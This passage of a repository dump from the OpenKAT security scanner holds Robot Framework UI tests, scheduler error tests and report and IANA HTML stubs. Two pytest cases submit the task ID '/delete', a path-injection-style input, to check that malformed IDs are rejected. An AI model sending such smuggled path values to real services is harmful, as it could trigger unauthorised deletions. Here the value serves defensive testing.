    "content": "*** Settings ***\nResource        ../xxx.resource\n\nSuite Setup     Browser Setup\n\n\n*** Test Cases ***\nI want to go to the home page\n    Go To    ${ROOT_URL}/\n    Get Title    equal    KAT - landing_page\n\nI want to change the language to Papiamentu\n    Click    xpath=//button[@value=\"pap\"]\n    Get Text    id=KAT    contains    Kiko ta bo meta ku KAT?    this is not Papiamentu\n\nI want to change the language to Dutch\n    Click    xpath=//button[@value=\"nl\"]\n    Get Text    id=KAT    contains    Wat is KAT?    this is not Dutch\n\nI want to change the language to English\n    Click    xpath=//button[@value=\"en\"]\n    Get Text    id=KAT    contains    What is KAT?    this is not English\n\nI want to login normally\n    Login As User Normally    robot@localhost    robotpassword\n\nI want to go to the crisis page\n    Go To    ${ROOT_URL}/crisis-room\n    Get Title    equal    KAT - crisis_room\n\nI want to enter the Katalogus\n    Click    xpath=//a[@href=\"/kat-alogus/\"]\n    Get Title    equal    KAT - katalogus\n\nI want to see the DnsRecords page in details\n    Click    xpath=//a[@href=\"/kat-alogus/plugins/boefjes/dns-records/\"]\n    Get Title    equal    KAT - katalogus_detail\n\nI want to enable the DnsRecords Boefje\n    Click    'Enable'\n    Get Text\n    ...    xpath=//div[@class=\"explanation\"]\n    ...    contains\n    ...    Boefje 'dns-records' enabled\n    ...    no boefje enabled confirmation message\n\nI want to add a Network\n    Go to    ${ROOT_URL}/objects/add/\n    Select options by    id=select_ooi_type    value    Network\n    Click    xpath=//input[@type=\"submit\"]\n    Fill Text    id=id_name    internet\n    Click    xpath=//form/button\n    Get Text\n    ...    id=main-content\n    ...    contains\n    ...    internet\n    ...    not landed on page which contains the network name\n\nI want to add the mispo.es hostname\n    Go to    ${ROOT_URL}/objects/add/\n    Select options by    id=select_ooi_type    value    Hostname\n    Click    xpath=//input[@type=\"submit\"]\n    Select options by    id=id_network    value    Network|internet\n    Fill Text    id=id_name    mispo.es\n    Click    xpath=//form/button\n    Get Text\n    ...    id=main-content\n    ...    contains\n    ...    mispo.es\n    ...    not landed on page which contains the hostname\n\nI want to set clearance level 2 to mispo.es\n    Click    'Clearance level (L0, empty)'\n    Select options by    id=id_level    value    2\n    Click    xpath=//form/button\n    Get Text\n    ...    h1[rf-selector=\"clearance-header\"]\n    ...    contains\n    ...    L2, declared\n    ...    no confirmation that the clearance level has changed\n\nI want to launch the DnsRecords boefje for mispo.es\n    Go to    ${ROOT_URL}/objects\n    Click    'mispo.es'\n    Click    'Start Scan'\n    Get Text\n    ...    xpath=//div[@class=\"confirmation\"]\n    ...    contains\n    ...    Your scan is running successfully in the background\n    ...    no positive confirmation message\n\nThe DnsRecords boefje is completed\n    ${e}    Get Table Cell Element\n    ...    table[rf-selector=\"table-boefjes\"]\n    ...    \"Status\"\n    ...    \"Hostname|internet|mispo.es\"\n    Wait Until Keyword Succeeds\n    ...    90s\n    ...    2s\n    ...    Reload The Page Until Element Contains\n    ...    ${ROOT_URL}/tasks\n    ...    ${e}\n    ...    Completed\n\nThe DnsRecords boefje is normalized\n    ${e}    Get Table Cell Element\n    ...    table[rf-selector=\"table-normalizers\"]\n    ...    \"Status\"\n    ...    \"Hostname|internet|mispo.es\"\n    Wait Until Keyword Succeeds\n    ...    90s\n    ...    2s\n    ...    Reload The Page Until Element Contains\n    ...    ${ROOT_URL}/tasks\n    ...    ${e}\n    ...    Completed\n\nDownload the mispo.es pdf report\n    Go to    ${ROOT_URL}/objects/detail/?ooi_id=Hostname%7Cinternet%7Cmispo.es\n    Click    'Generate report'\n    Set Browser Timeout    30s\n    ${dl_promise}    Promise To Wait For Download\n    Click    'Download PDF'\n    ${file_obj}    Wait For    ${dl_promise}\n    Set Suite Variable    ${REPORT_FILE}    ${file_obj}\n    Log To Console    ${REPORT_FILE}\n\nA valid pdf is downloaded\n    File Should Exist    ${REPORT_FILE}[saveAs]    Cannot find downloaded file\n    ${filesize}    Get File Size    ${REPORT_FILE}[saveAs]\n    Should Be True    ${filesize} > 50000    The downloaded file is uncharacteristically small\n    Should End With    ${REPORT_FILE}[suggestedFilename]    .pdf    File is not advertised as a pdf\n"
  },
  {
    "path": "rocky/tests/robot/skip_onboarding_with_report/01_skip_onboarding_with_report.robot",
    "content": "*** Settings ***\nResource        ../xxx.resource\n\nSuite Setup     Browser Setup\n\n\n*** Test Cases ***\nI want to login as the default superuser for the first time\n    Login As User For The First Time    robot@localhost    robotpassword\n\nI want to create a report with the superuser account\n    Click    xpath=//a[@class=\"button\"]\n    Click    xpath=//button[contains(text(),\"Submit\")]\n    Click    \"Continue with this account, onboard me!\"\n    Get Title    equal    KAT - step_introduction\n    Generate First DNS Report\n\nIs user onboarded?\n    Go to    ${ROOT_URL}/admin/tools/organizationmember/1/change/\n    Get Checkbox State    id=id_onboarded    ==    True    user not onboarded\n    Get Checkbox State    id=id_onboarded    ==    True    user not onboarded\n\nI am on the Crisis Room page\n    Go to    ${ROOT_URL}\n    Get Title    equal    KAT - crisis_room\n\nI want to logout\n    Logout Normally\n\nI want to login again\n    Login As User Normally    robot@localhost    robotpassword\n"
  },
  {
    "path": "rocky/tests/robot/xxx.resource",
    "content": "*** Settings ***\nLibrary     OTP\nLibrary     Browser    strict=False\nLibrary     DebugLibrary\nLibrary     OperatingSystem\n\n\n*** Keywords ***\nBrowser Setup\n    Set Suite Variable    ${ROOT_URL}    localhost:8000\n    New Browser    chromium    headless=${headless}    downloadsPath=/tmp\n    New Context    acceptDownloads=True    viewport={'width': 1920, 'height': 1080}\n    New Page    ${ROOT_URL}\n\nLogin As User For The First Time\n    [Arguments]    ${email}    ${password}\n    Click    \"Login\"\n    Fill Text    css=#id_auth-username    ${email}\n    Fill Text    css=#id_auth-password    ${password}\n    Click    \"Log in\"\n    ${otp-raw}    Get Attribute    css=#totp-input    value\n    Set Global Variable    ${otp-raw-global}    ${otp-raw}\n    ${otp-code}    get otp    ${otp-raw-global}\n    Fill Text    css=#id_generator-token    ${otp-code}\n    Click    \"Authenticate\"\n    Click    \"Start using OpenKAT\"\n    Get Title    equal    OpenKAT - step_1_introduction_registration\n\nLogin As User Normally\n    [Arguments]    ${email}    ${password}\n    Click    \"Login\"\n    Fill Text    css=#id_auth-username    ${email}\n    Fill Text    css=#id_auth-password    ${password}\n    Click    \"Log in\"\n    ${otp-code}    get otp    ${otp-raw-global}\n    Fill Text    id=id_token-otp_token    ${otp-code}\n    Click    \"Submit\"\n    Get Text    .login-meta    contains    Logged in as:    error login failed\n\nLogout Normally\n    Click    \"Logout\"\n    Get Element Count    .login-meta    ==    0    error still logged in\n\nGenerate First DNS Report\n    Click    \"Let\\'s get started\"\n    Click    css=#main-content > section > div > p:nth-child(10) > a:nth-child(2)\n    Click    \"Let\\'s choose a report\"\n    Click    \"DNS report\"\n    Click    \"Add URL\"\n    Fill Text    css=#id_raw    https://mispo.es\n    Click    \"Create object\"\n    Click    xpath=//*[@id=\"main-content\"]/section/div/form/button\n    Click    \"Enable and start scan\"\n    Click    \"Start scanning\"\n    Get Text    css=#main-content > section > div > h3    contains    Boefjes are scanning    boefjes are not scanning\n\nReload The Page Until Element Contains    # For the desired effect, should be called through: Wait Until Keyword Succeeds    60s    2s    Reload The Page Until Element Contains    url    selector    keyword\n    [Arguments]    ${url}    ${selector}    ${keyword}\n    Go to    ${url}\n    Reload\n    ${result}    Get Text    ${selector}    contains    ${keyword}    ${selector} does not contain ${keyword}\n    Should Contain    ${result}    ${keyword}\n"
  },
  {
    "path": "rocky/tests/scheduler/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/tests/scheduler/test_scheduler_errors.py",
    "content": "import pytest\nfrom django.http import Http404\n\nfrom rocky.scheduler import (\n    SchedulerConnectError,\n    SchedulerTaskNotFound,\n    SchedulerTooManyRequestError,\n    SchedulerValidationError,\n)\nfrom rocky.views.task_detail import NormalizerTaskJSONView\nfrom rocky.views.tasks import BoefjesTaskListView\nfrom tests.conftest import setup_request\n\n\ndef test_tasks_view_connect_error(rf, client_member, mock_scheduler):\n    mock_scheduler.list_tasks.side_effect = SchedulerConnectError\n\n    request = setup_request(rf.get(\"boefjes_task_list\"), client_member.user)\n    response = BoefjesTaskListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    assert list(request._messages)[0].message == \"Could not connect to Scheduler. Service is possibly down.\"\n\n\ndef test_tasks_view_validation_error(rf, client_member, mock_scheduler):\n    mock_scheduler.list_tasks.side_effect = SchedulerValidationError\n\n    request = setup_request(rf.get(\"boefjes_task_list\"), client_member.user)\n    response = BoefjesTaskListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    assert list(request._messages)[0].message == \"Your request could not be validated.\"\n\n\ndef test_tasks_view_too_many_requests_error(rf, client_member, mock_scheduler):\n    mock_scheduler.list_tasks.side_effect = SchedulerTooManyRequestError\n\n    request = setup_request(rf.get(\"boefjes_task_list\"), client_member.user)\n    response = BoefjesTaskListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    assert (\n        list(request._messages)[0].message\n        == \"Scheduler is receiving too many requests. Increase SCHEDULER_PQ_MAXSIZE or wait for task to finish.\"\n    )\n\n\ndef test_get_task_details_json_bad_task_id(rf, client_member, mock_scheduler):\n    mock_scheduler.get_task_details.side_effect = SchedulerTaskNotFound\n    request = setup_request(rf.get(\"normalizer_task_view\"), client_member.user)\n\n    with pytest.raises(Http404):\n        NormalizerTaskJSONView.as_view()(request, organization_code=client_member.organization.code, task_id=\"/delete\")\n\n\ndef test_reschedule_task_bad_task_id(rf, client_member, mock_bytes_client, mock_scheduler):\n    mock_scheduler.get_task_details.side_effect = SchedulerTaskNotFound\n\n    request = setup_request(\n        rf.post(\"task_list\", {\"action\": \"reschedule_task\", \"task_id\": \"/delete\"}), client_member.user\n    )\n\n    with pytest.raises(Http404):\n        BoefjesTaskListView.as_view()(request, organization_code=client_member.organization.code)\n"
  },
  {
    "path": "rocky/tests/stubs/aggregate_report_data.json",
    "content": "{\n  \"organization_code\": \"test\",\n  \"organization_name\": \"Test Organization\",\n  \"organization_tags\": [],\n  \"data\": {\n    \"systems\": {\n      \"services\": {\n        \"IPAddressV4|internet|134.209.85.72\": {\n          \"hostnames\": [\n            \"Hostname|internet|mispo.es\"\n          ],\n          \"services\": []\n        }\n      }\n    },\n    \"services\": {},\n    \"recommendations\": [],\n    \"recommendation_counts\": {},\n    \"open_ports\": {\n      \"134.209.85.72\": {\n        \"ports\": {},\n        \"hostnames\": [\n          \"mispo.es\"\n        ],\n        \"services\": {}\n      }\n    },\n    \"ipv6\": {\n      \"mispo.es\": {\n        \"enabled\": false,\n        \"systems\": []\n      }\n    },\n    \"vulnerabilities\": {\n      \"IPAddressV4|internet|134.209.85.72\": {\n        \"hostnames\": \"(mispo.es)\",\n        \"vulnerabilities\": {},\n        \"summary\": {\n          \"total_findings\": 0,\n          \"total_criticals\": 0,\n          \"terms\": [],\n          \"recommendations\": []\n        },\n        \"title\": \"134.209.85.72\"\n      }\n    },\n    \"basic_security\": {\n      \"rpki\": {},\n      \"system_specific\": {\n        \"Mail\": [],\n        \"Web\": [],\n        \"DNS\": []\n      },\n      \"safe_connections\": {},\n      \"summary\": {}\n    },\n    \"summary\": {\n      \"critical_vulnerabilities\": 0,\n      \"ips_scanned\": 1,\n      \"hostnames_scanned\": 1,\n      \"terms_in_report\": \"\"\n    },\n    \"total_findings\": 0,\n    \"total_systems\": 1,\n    \"total_hostnames\": 1,\n    \"total_systems_basic_security\": 0,\n    \"health\": [\n      {\n        \"service\": \"rocky\",\n        \"healthy\": true,\n        \"version\": \"0.0.1.dev1\",\n        \"additional\": null,\n        \"results\": []\n      },\n      {\n        \"service\": \"octopoes\",\n        \"healthy\": true,\n        \"version\": \"0.0.1.dev1\",\n        \"additional\": null,\n        \"results\": []\n      },\n      {\n        \"service\": \"xtdb\",\n        \"healthy\": true,\n        \"version\": \"1.24.1\",\n        \"additional\": {\n          \"version\": \"1.24.1\",\n          \"revision\": \"1164f9a3c7e36edbc026867945765fd4366c1731\",\n          \"indexVersion\": 22,\n          \"consumerState\": null,\n          \"kvStore\": \"xtdb.rocksdb.RocksKv\",\n          \"estimateNumKeys\": 36846,\n          \"size\": 33301692\n        },\n        \"results\": []\n      },\n      {\n        \"service\": \"katalogus\",\n        \"healthy\": true,\n        \"version\": \"0.0.1-development\",\n        \"additional\": null,\n        \"results\": []\n      },\n      {\n        \"service\": \"scheduler\",\n        \"healthy\": true,\n        \"version\": \"0.0.1.dev1\",\n        \"additional\": null,\n        \"results\": []\n      },\n      {\n        \"service\": \"bytes\",\n        \"healthy\": true,\n        \"version\": \"0.0.1.dev1\",\n        \"additional\": null,\n        \"results\": []\n      }\n    ],\n    \"config_oois\": [],\n    \"input_data\": {\n      \"input_oois\": [\n        \"Hostname|internet|mispo.es\"\n      ],\n      \"report_types\": [\n        \"ipv6-report\",\n        \"mail-report\",\n        \"name-server-report\",\n        \"open-ports-report\",\n        \"rpki-report\",\n        \"safe-connections-report\",\n        \"systems-report\",\n        \"vulnerability-report\",\n        \"web-system-report\"\n      ],\n      \"plugins\": {\n        \"required\": [],\n        \"optional\": []\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/tests/stubs/iana_service.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:iana=\"http://www.iana.org/assignments\">\n  <head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n    <link rel=\"stylesheet\" href=\"../_support/iana-registry.css\" type=\"text/css\" />\n    <script type=\"text/javascript\" src=\"../_support/jquery.js\"></script>\n    <script type=\"text/javascript\" src=\"../_support/sort.js\"></script>\n    <script type=\"text/javascript\" src=\"../_support/sort_srv.js\"></script>\n    <script type=\"text/javascript\" src=\"../_support/jsuri.js\"></script>\n    <title>Service Name and Transport Protocol Port Number Registry</title>\n  </head>\n  <body>\n    <header>\n      <div>\n        <a href=\"/\">\n          <img src=\"https://www.iana.org/_img/2022/iana-logo-header.svg\" alt=\"Internet Assigned Numbers Authority\" />\n        </a>\n      </div>\n    </header>\n    <article>\n      <h1>Service Name and Transport Protocol Port Number Registry</h1>\n      <dl>\n        <dt>Last Updated</dt>\n        <dd>2023-01-04</dd>\n        <dt>Expert(s)</dt>\n        <dd>\n          <pre>TCP/UDP: Joe Touch; Eliot Lear, Kumiko Ono, Wes Eddy, Brian Trammell,\nJana Iyengar, and Michael Scharf\nSCTP: Michael Tuexen\nDCCP: Eddie Kohler and Yoshifumi Nishida</pre>\n        </dd>\n        <dt>Reference</dt>\n        <dd>[<a href=\"https://www.iana.org/go/rfc6335\">RFC6335</a>]</dd>\n        <dt>Note</dt>\n        <dd>\n          <pre>\nService names and port numbers are used to distinguish between different\nservices that run over transport protocols such as TCP, UDP, DCCP, and\nSCTP.\n\nService names are assigned on a first-come, first-served process, as\ndocumented in [<a href=\"https://www.iana.org/go/rfc6335\">RFC6335</a>].\n\nPort numbers are assigned in various ways, based on three ranges: System\nPorts (0-1023), User Ports (1024-49151), and the Dynamic and/or Private\nPorts (49152-65535); the different uses of these ranges are described in\n[<a href=\"https://www.iana.org/go/rfc6335\">RFC6335</a>]. According to Section 8.1.2 of [<a href=\"https://www.iana.org/go/rfc6335\">RFC6335</a>], System Ports are\nassigned by the \"IETF Review\" or \"IESG Approval\" procedures described in\n[<a href=\"https://www.iana.org/go/rfc8126\">RFC8126</a>]. User Ports are assigned by IANA using the \"IETF Review\" process,\nthe \"IESG Approval\" process, or the \"Expert Review\" process, as per\n[<a href=\"https://www.iana.org/go/rfc6335\">RFC6335</a>]. Dynamic Ports are not assigned.\n\nThe registration procedures for service names and port numbers are\ndescribed in [<a href=\"https://www.iana.org/go/rfc6335\">RFC6335</a>].\n\nAssigned ports both System and User ports SHOULD NOT be used without\nor prior to IANA registration.\n\n************************************************************************\n* PLEASE NOTE THE FOLLOWING:                                           *\n*                                                                      *\n* ASSIGNMENT OF A PORT NUMBER DOES NOT IN ANY WAY IMPLY AN             *\n* ENDORSEMENT OF AN APPLICATION OR PRODUCT, AND THE FACT THAT NETWORK  *\n* TRAFFIC IS FLOWING TO OR FROM A REGISTERED PORT DOES NOT MEAN THAT   *\n* IT IS \"GOOD\" TRAFFIC, NOR THAT IT NECESSARILY CORRESPONDS TO THE     *\n* ASSIGNED SERVICE. FIREWALL AND SYSTEM ADMINISTRATORS SHOULD          *\n* CHOOSE HOW TO CONFIGURE THEIR SYSTEMS BASED ON THEIR KNOWLEDGE OF    *\n* THE TRAFFIC IN QUESTION, NOT WHETHER THERE IS A PORT NUMBER          *\n* REGISTERED OR NOT.                                                   *\n************************************************************************\n\n</pre>\n        </dd>\n        <dt>Request an Assignment</dt>\n        <dd>\n          <pre>\n  [<a href=\"https://www.iana.org/protocols/apply\">https://www.iana.org/protocols/apply</a>]\n\n</pre>\n        </dd>\n        <dt>Available Formats</dt>\n        <dd>\n          <a class=\"altformat\" href=\"service-names-port-numbers.csv\"><img src=\"/_img/icons/text-csv.png\" /><br />CSV</a>\n          <a class=\"altformat\" href=\"service-names-port-numbers.xml\"><img src=\"/_img/icons/text-xml.png\" /><br />XML</a>\n          <a class=\"altformat\" href=\"service-names-port-numbers.xhtml\"><img src=\"/_img/icons/text-html.png\" /><br />HTML</a>\n          <a class=\"altformat\" href=\"service-names-port-numbers.txt\"><img src=\"/_img/icons/text-plain.png\" /><br />Plain text</a>\n        </dd>\n      </dl>\n      <form method=\"get\" action=\"?search=ssh\">\n        <input name=\"search\" size=\"18\" type=\"text\" value=\"ssh\" />\n        <input value=\"Search\" type=\"submit\" />\n      </form>\n      <table id=\"table-service-names-port-numbers\" class=\"sortable_srv\">\n        <thead>\n          <tr>\n            <th>Service Name</th>\n            <th class=\"sortNumeric\">Port Number</th>\n            <th>Transport Protocol</th>\n            <th>Description</th>\n            <th>Assignee</th>\n            <th>Contact</th>\n            <th>Registration Date</th>\n            <th>Modification Date</th>\n            <th>Reference</th>\n            <th>Service Code</th>\n            <th>Unauthorized Use Reported</th>\n            <th>Assignment Notes</th>\n          </tr>\n        </thead>\n        <tbody>\n          <tr>\n            <td>ssh</td>\n            <td align=\"center\">22</td>\n            <td align=\"center\">tcp</td>\n            <td>The Secure Shell (SSH) Protocol</td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td>[<a href=\"https://www.iana.org/go/rfc4251\">RFC4251</a>]</td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td>Defined TXT keys: u=&lt;username&gt; p=&lt;password&gt;</td>\n          </tr>\n          <tr>\n            <td>ssh</td>\n            <td align=\"center\">22</td>\n            <td align=\"center\">udp</td>\n            <td>The Secure Shell (SSH) Protocol</td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td>[<a href=\"https://www.iana.org/go/rfc4251\">RFC4251</a>]</td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td>Defined TXT keys: u=&lt;username&gt; p=&lt;password&gt;</td>\n          </tr>\n          <tr>\n            <td>ssh</td>\n            <td align=\"center\">22</td>\n            <td align=\"center\">sctp</td>\n            <td>SSH</td>\n            <td>[<a href=\"#Randall_Stewart\">Randall_Stewart</a>]</td>\n            <td>[<a href=\"#Randall_Stewart\">Randall_Stewart</a>]</td>\n            <td></td>\n            <td>2022-02-07</td>\n            <td>[<a href=\"https://www.iana.org/go/rfc9260\">RFC9260</a>]</td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td>Defined TXT keys: u=&lt;username&gt; p=&lt;password&gt;</td>\n          </tr>\n          <tr>\n            <td>sshell</td>\n            <td align=\"center\">614</td>\n            <td align=\"center\">tcp</td>\n            <td>SSLshell</td>\n            <td>[<a href=\"#Simon_J_Gerraty\">Simon_J_Gerraty</a>]</td>\n            <td>[<a href=\"#Simon_J_Gerraty\">Simon_J_Gerraty</a>]</td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>sshell</td>\n            <td align=\"center\">614</td>\n            <td align=\"center\">udp</td>\n            <td>SSLshell</td>\n            <td>[<a href=\"#Simon_J_Gerraty\">Simon_J_Gerraty</a>]</td>\n            <td>[<a href=\"#Simon_J_Gerraty\">Simon_J_Gerraty</a>]</td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>netconf-ssh</td>\n            <td align=\"center\">830</td>\n            <td align=\"center\">tcp</td>\n            <td>NETCONF over SSH</td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td>[<a href=\"https://www.iana.org/go/rfc6242\">RFC6242</a>]</td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>netconf-ssh</td>\n            <td align=\"center\">830</td>\n            <td align=\"center\">udp</td>\n            <td>NETCONF over SSH</td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td>[<a href=\"https://www.iana.org/go/rfc6242\">RFC6242</a>]</td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>enpp</td>\n            <td align=\"center\">2968</td>\n            <td align=\"center\">tcp</td>\n            <td>ENPP</td>\n            <td>[<a href=\"#Kazuhito_Gassho\">Kazuhito_Gassho</a>]</td>\n            <td>[<a href=\"#Kazuhito_Gassho\">Kazuhito_Gassho</a>]</td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>enpp</td>\n            <td align=\"center\">2968</td>\n            <td align=\"center\">udp</td>\n            <td>ENPP</td>\n            <td>[<a href=\"#Kazuhito_Gassho\">Kazuhito_Gassho</a>]</td>\n            <td>[<a href=\"#Kazuhito_Gassho\">Kazuhito_Gassho</a>]</td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>sdo-ssh</td>\n            <td align=\"center\">3897</td>\n            <td align=\"center\">tcp</td>\n            <td>Simple Distributed Objects over SSH</td>\n            <td>[<a href=\"#Alexander_Philippou\">Alexander_Philippou</a>]</td>\n            <td>[<a href=\"#Alexander_Philippou\">Alexander_Philippou</a>]</td>\n            <td>2003-10</td>\n            <td></td>\n            <td></td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>sdo-ssh</td>\n            <td align=\"center\">3897</td>\n            <td align=\"center\">udp</td>\n            <td>Simple Distributed Objects over SSH</td>\n            <td>[<a href=\"#Alexander_Philippou\">Alexander_Philippou</a>]</td>\n            <td>[<a href=\"#Alexander_Philippou\">Alexander_Philippou</a>]</td>\n            <td>2003-10</td>\n            <td></td>\n            <td></td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>netconf-ch-ssh</td>\n            <td align=\"center\">4334</td>\n            <td align=\"center\">tcp</td>\n            <td>NETCONF Call Home (SSH)</td>\n            <td>[<a href=\"#IESG\">IESG</a>]</td>\n            <td>[<a href=\"#IETF_Chair\">IETF_Chair</a>]</td>\n            <td>2016-01-12</td>\n            <td></td>\n            <td>[<a href=\"https://www.iana.org/go/rfc8071\">RFC8071</a>]</td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>snmpssh</td>\n            <td align=\"center\">5161</td>\n            <td align=\"center\">tcp</td>\n            <td>SNMP over SSH Transport Model</td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td>[<a href=\"https://www.iana.org/go/rfc5592\">RFC5592</a>]</td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>snmpssh-trap</td>\n            <td align=\"center\">5162</td>\n            <td align=\"center\">tcp</td>\n            <td>SNMP Notification over SSH Transport Model</td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td>[<a href=\"https://www.iana.org/go/rfc5592\">RFC5592</a>]</td>\n            <td align=\"center\"></td>\n            <td>Known Unauthorized Use on port 5162</td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>tl1-ssh</td>\n            <td align=\"center\">6252</td>\n            <td align=\"center\">tcp</td>\n            <td>TL1 over SSH</td>\n            <td>[<a href=\"#Jim_Humphreys\">Jim_Humphreys</a>]</td>\n            <td>[<a href=\"#Jim_Humphreys\">Jim_Humphreys</a>]</td>\n            <td>2008-01-25</td>\n            <td></td>\n            <td></td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>tl1-ssh</td>\n            <td align=\"center\">6252</td>\n            <td align=\"center\">udp</td>\n            <td>TL1 over SSH</td>\n            <td>[<a href=\"#Jim_Humphreys\">Jim_Humphreys</a>]</td>\n            <td>[<a href=\"#Jim_Humphreys\">Jim_Humphreys</a>]</td>\n            <td>2008-01-25</td>\n            <td></td>\n            <td></td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>ssh-mgmt</td>\n            <td align=\"center\">17235</td>\n            <td align=\"center\">tcp</td>\n            <td>SSH Tectia Manager</td>\n            <td>[<a href=\"#Ville_Laurikari\">Ville_Laurikari</a>]</td>\n            <td>[<a href=\"#Ville_Laurikari\">Ville_Laurikari</a>]</td>\n            <td>2005-08</td>\n            <td></td>\n            <td></td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>ssh-mgmt</td>\n            <td align=\"center\">17235</td>\n            <td align=\"center\">udp</td>\n            <td>SSH Tectia Manager</td>\n            <td>[<a href=\"#Ville_Laurikari\">Ville_Laurikari</a>]</td>\n            <td>[<a href=\"#Ville_Laurikari\">Ville_Laurikari</a>]</td>\n            <td>2005-08</td>\n            <td></td>\n            <td></td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>sftp-ssh</td>\n            <td align=\"center\"></td>\n            <td align=\"center\"></td>\n            <td>Secure File Transfer Protocol over SSH</td>\n            <td>[<a href=\"#Bryan_Cole\">Bryan_Cole</a>]</td>\n            <td>[<a href=\"#Bryan_Cole\">Bryan_Cole</a>]</td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td>Defined TXT keys: u=&lt;username&gt; p=&lt;password&gt; path=&lt;path&gt;</td>\n          </tr>\n          <tr>\n            <td>shifter</td>\n            <td align=\"center\"></td>\n            <td align=\"center\"></td>\n            <td>Window Shifter server protocol</td>\n            <td>[<a href=\"#Antoine_Martin\">Antoine_Martin</a>]</td>\n            <td>[<a href=\"#Antoine_Martin\">Antoine_Martin</a>]</td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td>Defined TXT keys:   username     The login username to use (optional)\n  ssh_tunnel   Whether an SSH tunnel must be used (required)\n  iface        The network interface the server is on (required - may be empty)\n  version      Software version (required)\n  ID           Server Identifier (requried)</td>\n          </tr>\n          <tr>\n            <td>ssh</td>\n            <td align=\"center\"></td>\n            <td align=\"center\">tcp</td>\n            <td>SSH Remote Login Protocol</td>\n            <td>[<a href=\"#Tatu_Ylonen\">Tatu_Ylonen</a>]</td>\n            <td>[<a href=\"#Tatu_Ylonen\">Tatu_Ylonen</a>]</td>\n            <td></td>\n            <td></td>\n            <td></td>\n            <td align=\"center\"></td>\n            <td></td>\n            <td>Defined TXT keys:  u=&lt;username&gt; p=&lt;password&gt;</td>\n          </tr>\n        </tbody>\n      </table>\n      <h1 class=\"people\">Contact Information</h1>\n      <table class=\"sortable\">\n        <thead>\n          <tr>\n            <th>ID</th>\n            <th>Name</th>\n            <th>Organization</th>\n            <th>Contact URI</th>\n            <th>Last Updated</th>\n          </tr>\n        </thead>\n        <tbody>\n          <tr>\n            <td>\n              <a name=\"Alexander_Philippou\" id=\"Alexander_Philippou\">[Alexander_Philippou]</a>\n            </td>\n            <td>Alexander Philippou</td>\n            <td></td>\n            <td>\n              <a href=\"mailto:alex&amp;noemax.com\">mailto:alex&amp;noemax.com</a>\n            </td>\n            <td>2003-10</td>\n          </tr>\n          <tr>\n            <td>\n              <a name=\"Antoine_Martin\" id=\"Antoine_Martin\">[Antoine_Martin]</a>\n            </td>\n            <td>Antoine Martin</td>\n            <td></td>\n            <td>\n              <a href=\"mailto:antoine&amp;nagafix.co.uk\">mailto:antoine&amp;nagafix.co.uk</a>\n            </td>\n            <td>2016-10-05</td>\n          </tr>\n          <tr>\n            <td>\n              <a name=\"Bryan_Cole\" id=\"Bryan_Cole\">[Bryan_Cole]</a>\n            </td>\n            <td>Bryan Cole</td>\n            <td></td>\n            <td>\n              <a href=\"mailto:bryan.cole&amp;teraview.com\">mailto:bryan.cole&amp;teraview.com</a>\n            </td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>\n              <a name=\"IESG\" id=\"IESG\">[IESG]</a>\n            </td>\n            <td></td>\n            <td>IESG</td>\n            <td>\n              <a href=\"mailto:iesg&amp;ietf.org\">mailto:iesg&amp;ietf.org</a>\n            </td>\n            <td></td>\n          </tr>\n          <tr>\n            <td>\n              <a name=\"IETF_Chair\" id=\"IETF_Chair\">[IETF_Chair]</a>\n            </td>\n            <td>IETF Chair</td>\n            <td>IETF</td>\n            <td>\n              <a href=\"mailto:chair&amp;ietf.org\">mailto:chair&amp;ietf.org</a>\n            </td>\n            <td></td>\n          </tr>\n          <tr>\n            